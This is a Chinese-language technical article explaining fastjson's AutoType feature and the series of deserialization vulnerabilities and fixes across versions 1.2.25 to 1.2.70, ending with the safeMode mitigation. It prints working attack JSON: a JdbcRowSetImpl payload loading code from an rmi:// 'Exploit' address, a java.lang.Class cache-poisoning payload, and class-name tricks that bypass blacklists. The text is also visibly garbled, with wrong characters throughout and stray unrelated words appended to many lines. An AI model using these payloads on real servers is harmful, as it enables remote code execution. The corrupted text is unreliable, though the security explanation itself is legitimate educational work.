fastjson到底作错了什么？为何会被频繁爆出漏洞？

fastjson你们必定都不陌生，这是阿里巴巴的开源一个JSON解析库，一般被用于将Java Bean和JSON 字符串之间进行转换。算法

前段时间，fastjson被爆出过屡次存在漏洞，不少文章报道了这件事儿，而且给出了升级建议。数据库

可是做为一个开发者，我更关注的是他为何会频繁被爆漏洞？因而我带着疑惑，去看了下fastjson的releaseNote以及部分源代码。json

最终发现，这其实和fastjson中的一个AutoType特性有关。缓存

从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ，每一个版本的升级中都有关于AutoType的升级。安全

下面是fastjson的官方releaseNotes 中，几回关于AutoType的重要升级：服务器

1.2.59发布，加强AutoType打开时的安全性 fastjsonmarkdown

1.2.60发布，增长了AutoType黑名单，修复拒绝服务安全问题 fastjson

1.2.61发布，增长AutoType安全黑名单 fastjson

1.2.62发布，增长AutoType黑名单、加强日期反序列化和JSONPath fastjson

1.2.66发布，Bug修复安全加固，而且作安全加固，补充了AutoType黑名单 fastjson

1.2.67发布，Bug修复安全加固，补充了AutoType黑名单 fastjson

1.2.68发布，支持GEOJSON，补充了AutoType黑名单。（引入一个safeMode的配置，配置safeMode后，不管白名单和黑名单，都不支持autoType。） fastjson

1.2.69发布，修复新发现高危AutoType开关绕过安全漏洞，补充了AutoType黑名单 fastjson

1.2.70发布，提高兼容性，补充了AutoType黑名单

甚至在fastjson的开源库中，有一个Issue是建议做者提供不带autoType的版本：

那么，什么是AutoType？为何fastjson要引入AutoType？为何AutoType会致使安全漏洞呢？本文就来深刻分析一下。

AutoType 何方神圣？

fastjson的主要功能就是将Java Bean序列化成JSON字符串，这样获得字符串以后就能够经过数据库等方式进行持久化了。

可是，fastjson在序列化以及反序列化的过程当中并无使用Java自带的序列化机制，而是自定义了一套机制。

其实，对于JSON框架来讲，想要把一个Java对象转换成字符串，能够有两种选择：

一、基于属性
二、基于setter/getter

而咱们所经常使用的JSON序列化框架中，FastJson和jackson在把对象序列化成json字符串的时候，是经过遍历出该类中的全部getter方法进行的。Gson并非这么作的，他是经过反射遍历该类中的全部属性，并把其值序列化成json。

假设咱们有如下一个Java类：

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}
复制代码

当咱们要对他进行序列化的时候，fastjson会扫描其中的getter方法，即找到getName和getFruit，这时候就会将name和fruit两个字段的值序列化到JSON字符串中。

那么问题来了，咱们上面的定义的Fruit只是一个接口，序列化的时候fastjson可以把属性值正确序列化出来吗？若是能够的话，那么反序列化的时候，fastjson会把这个fruit反序列化成什么类型呢？

咱们尝试着验证一下，基于(fastjson v 1.2.68)：

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
复制代码

以上代码比较简单，咱们建立了一个store，为他指定了名称，而且建立了一个Fruit的子类型Apple，而后将这个store使用JSON.toJSONString进行序列化，能够获得如下JSON内容：

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
复制代码

那么，这个fruit的类型究竟是什么呢，可否反序列化成Apple呢？咱们再来执行如下代码：

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
复制代码

执行结果以下：

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
复制代码

能够看到，在将store反序列化以后，咱们尝试将Fruit转换成Apple，可是抛出了异常，尝试直接转换成Fruit则不会报错，如：

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
复制代码

以上现象，咱们知道，当一个类中包含了一个接口（或抽象类）的时候，在使用fastjson进行序列化的时候，会将子类型抹去，只保留接口（抽象类）的类型，使得反序列化时没法拿到原始类型。

那么有什么办法解决这个问题呢，fastjson引入了AutoType，即在序列化的时候，把原始类型记录下来。

使用方法是经过SerializerFeature.WriteClassName进行标记，即将上述代码中的

String jsonString = JSON.toJSONString(store);
复制代码

修改为：

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
复制代码

便可，以上代码，输出结果以下：

System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}
复制代码

能够看到，使用SerializerFeature.WriteClassName进行标记后，JSON字符串中多出了一个@type字段，标注了类对应的原始类型，方便在反序列化的时候定位到具体类型

如上，将序列化后的字符串在反序列化，既能够顺利的拿到一个Apple类型，总体输出内容：

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
复制代码

这就是AutoType，以及fastjson中引入AutoType的缘由。

可是，也正是这个特性，由于在功能设计之初在安全方面考虑的不够周全，也给后续fastjson使用者带来了无尽的痛苦

AutoType 何错之有？

由于有了autoType功能，那么fastjson在对JSON字符串进行反序列化的时候，就会读取@type到内容，试图把JSON内容反序列化成这个对象，而且会调用这个类的setter方法。

那么就能够利用这个特性，本身构造一个JSON字符串，而且使用@type指定一个本身想要使用的攻击类库。

举个例子，黑客比较经常使用的攻击类库是com.sun.rowset.JdbcRowSetImpl，这是sun官方提供的一个类库，这个类的dataSourceName支持传入一个rmi的源，当解析这个uri的时候，就会支持rmi远程调用，去指定的rmi地址中去调用方法。

而fastjson在反序列化时会调用目标类的setter方法，那么若是黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令，那么就会致使很严重的后果。

如经过如下方式定一个JSON串，便可实现远程命令执行（在早期版本中，新版本中JdbcRowSetImpl已经被加了黑名单）

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
复制代码

这就是所谓的远程命令执行漏洞，即利用漏洞入侵到目标服务器，经过服务器执行命令。

在早期的fastjson版本中（v1.2.25 以前），由于AutoType是默认开启的，而且也没有什么限制，能够说是裸着的。

从v1.2.25开始，fastjson默认关闭了autotype支持，而且加入了checkAutotype，加入了黑名单+白名单来防护autotype开启的状况。

可是，也是从这个时候开始，黑客和fastjson做者之间的博弈就开始了。

由于fastjson默认关闭了autotype支持，而且作了黑白名单的校验，因此攻击方向就转变成了"如何绕过checkAutotype"。

下面就来细数一下各个版本的fastjson中存在的漏洞以及攻击原理，因为篇幅限制，这里并不会讲解的特别细节，若是你们感兴趣我后面能够单独写一篇文章讲讲细节。下面的内容主要是提供一些思路，目的是说明写代码的时候注意安全性的重要性。

绕过checkAutotype，黑客与fastjson的博弈

在fastjson v1.2.41 以前，在checkAutotype的代码中，会先进行黑白名单的过滤，若是要反序列化的类不在黑白名单中，那么才会对目标类进行反序列化。

可是在加载的过程当中，fastjson有一段特殊的处理，那就是在具体加载类的时候会去掉className先后的L和;，形如Lcom.lang.Thread;。

而黑白名单又是经过startWith检测的，那么黑客只要在本身想要使用的攻击类库先后加上L和;就能够绕过黑白名单的检查了，也不耽误被fastjson正常加载。

如Lcom.sun.rowset.JdbcRowSetImpl;，会先经过白名单校验，而后fastjson在加载类的时候会去掉先后的L和，变成了com.sun.rowset.JdbcRowSetImpl`。

为了不被攻击，在以后的 v1.2.42版本中，在进行黑白名单检测的时候，fastjson先判断目标类的类名的先后是否是L和;，若是是的话，就截取掉先后的L和;再进行黑白名单的校验。

看似解决了问题，可是黑客发现了这个规则以后，就在攻击时在目标类先后双写LL和;;，这样再被截取以后仍是能够绕过检测。如LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺，道高一丈。在 v1.2.43中，fastjson此次在黑白名单判断以前，增长了一个是否以LL未开头的判断，若是目标类以LL开头，那么就直接抛异常，因而就又短暂的修复了这个漏洞。

黑客在L和;这里走不通了，因而想办法从其余地方下手，由于fastjson在加载类的时候，不仅对L和;这样的类进行特殊处理，还对[也被特殊处理了。

一样的攻击手段，在目标类前面添加[，v1.2.43之前的全部版本又沦陷了。

因而，在 v1.2.44版本中，fastjson的做者作了更加严格的要求，只要目标类以[开头或者以;结尾，都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。

在以后的几个版本中，黑客的主要的攻击方式就是绕过黑名单了，而fastjson也在不断的完善本身的黑名单。

autoType不开启也能被攻击？

可是好景不长，在升级到 v1.2.47 版本时，黑客再次找到了办法来攻击。并且这个攻击只有在autoType关闭的时候才生效。

是否是很奇怪，autoType不开启反而会被攻击。

由于**在fastjson中有一个全局缓存，在类加载的时候，若是autotype没开启，会先尝试从缓存中获取类，若是缓存中有，则直接返回。**黑客正是利用这里机制进行了攻击。

黑客先想办法把一个类加到缓存中，而后再次执行的时候就能够绕过黑白名单检测了，多么聪明的手段。

首先想要把一个黑名单中的类加到缓存中，须要使用一个不在黑名单中的类，这个类就是java.lang.Class

java.lang.Class类对应的deserializer为MiscCodec，反序列化时会取json串中的val值并加载这个val对应的类。

若是fastjson cache为true，就会缓存这个val对应的class到全局缓存中

若是再次加载val名称的类，而且autotype没开启，下一步就是会尝试从全局缓存中获取这个class，进而进行攻击。

因此，黑客只须要把攻击类假装如下就好了，以下格式：

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
复制代码

因而在 v1.2.48中，fastjson修复了这个bug，在MiscCodec中，处理Class类的地方，设置了fastjson cache为false，这样攻击类就不会被缓存了，也就不会被获取到了。

在以后的多个版本中，黑客与fastjson又继续一直都在绕过黑名单、添加黑名单中进行周旋。

直到后来，黑客在 v1.2.68以前的版本中又发现了一个新的漏洞利用方式。

利用异常进行攻击

在fastjson中，若是，@type 指定的类为 Throwable 的子类，那对应的反序列化处理类就会使用到 ThrowableDeserializer

而在ThrowableDeserializer#deserialze的方法中，当有一个字段的key也是 @type时，就会把这个 value 当作类名，而后进行一次 checkAutoType 检测。

而且指定了expectClass为Throwable.class，可是在checkAutoType中，有这样一约定，那就是若是指定了expectClass ，那么也会经过校验。

由于fastjson在反序列化的时候会尝试执行里面的getter方法，而Exception类中都有一个getMessage方法。

黑客只须要自定义一个异常，而且重写其getMessage就达到了攻击的目的。

这个漏洞就是6月份全网疯传的那个"严重漏洞"，使得不少开发者不得不升级到新版本。

这个漏洞在 v1.2.69中被修复，主要修复方式是对于须要过滤掉的expectClass进行了修改，新增了4个新的类，而且将原来的Class类型的判断修改成hash的判断。

其实，根据fastjson的官方文档介绍，即便不升级到新版，在v1.2.68中也能够规避掉这个问题，那就是使用safeMode

AutoType 安全模式？

能够看到，这些漏洞的利用几乎都是围绕AutoType来的，因而，在 v1.2.68版本中，引入了safeMode，配置safeMode后，不管白名单和黑名单，都不支持autoType，可必定程度上缓解反序列化Gadgets类变种攻击。

设置了safeMode后，@type 字段再也不生效，即当解析形如{"@type": "com.java.class"}的JSON串时，将再也不反序列化出对应的类。

开启safeMode方式以下：

ParserConfig.getGlobalInstance().setSafeMode(true);
复制代码

如在本文的最开始的代码示例中，使用以上代码开启safeMode模式，执行代码，会获得如下异常：

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
复制代码

可是值得注意的是，使用这个功能，fastjson会直接禁用autoType功能，即在checkAutoType方法中，直接抛出一个异常。